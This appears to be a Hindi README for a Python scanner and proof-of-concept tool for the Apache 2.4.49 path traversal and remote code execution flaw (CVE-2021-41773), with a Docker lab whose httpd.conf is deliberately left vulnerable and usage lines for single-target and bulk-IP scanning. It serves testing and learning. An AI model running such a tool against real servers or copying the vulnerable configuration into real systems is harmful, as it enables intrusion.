Apache 2.4.49 - पथ ट्रैवर्सल या रिमोट कोड निष्पादन

cve-2021-41773.py एक पायथन स्क्रिप्ट है जो Apache 2.4.49 में पथ ट्रैवर्सल या रिमोट कोड निष्पादन भेद्यता खोजने में मदद करेगी। CVE-2021-41773 पर हाथ आजमाने के लिए Docker का एक संवेदनशील उदाहरण प्रदान किया गया है।

यदि CGI-BIN सक्षम है तो हम रिमोट कोड निष्पादन कर सकते हैं लेकिन पथ ट्रैवर्सल नहीं, इसलिए पथ ट्रैवर्सल भेद्यता की जांच के लिए httpd.conf में उपनाम अनुभाग के अंतर्गत "icons" निर्देशिका जोड़ी गई है।

httpd.conf में संवेदनशील कॉन्फ़िगरेशन

1. Enable CGI-BIN
2. Add "icons" directory in Alias section
3. <Directory>Require all granted</Directory>

CVE-2021-41773 के लिए प्रयोगशाला

Docker बनाएँ

$ docker build -t cve-2021-41773 .

Docker चलाएँ

$ docker run -it cve-2021-41773

cve-2021-41773.py का उपयोग

पथ ट्रैवर्सल और रिमोट कोड निष्पादन की जाँच करें

$ python3 cve-2021-41773.py -u http://172.17.0.2

पथ ट्रैवर्सल PoC

$ python3 cve-2021-41773.py -u http://172.17.0.2 -pt

रिमोट कोड निष्पादन PoC

$ python3 cve-2021-41773.py -u http://172.17.0.2 -rce

बल्क स्कैनिंग के लिए, IPs वाली एक टेक्स्ट फ़ाइल प्रदान करें:

$ python3 cve-2021-41773.py -l list.txt

$ python3 cve-2021-41773.py -l list.txt -pt

$ python3 cve-2021-41773.py -l list.txt -rce

अधिक जानकारी यहाँ पाई जा सकती है।

संदर्भ

• https://nvd.nist.gov/vuln/detail/CVE-2021-41773
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
• https://httpd.apache.org/security/vulnerabilities_24.html
• https://www.cve.org/CVERecord?id=CVE-2021-41773
• https://walnutsecurity.com/path-traversal-remote-code-execution-in-apache/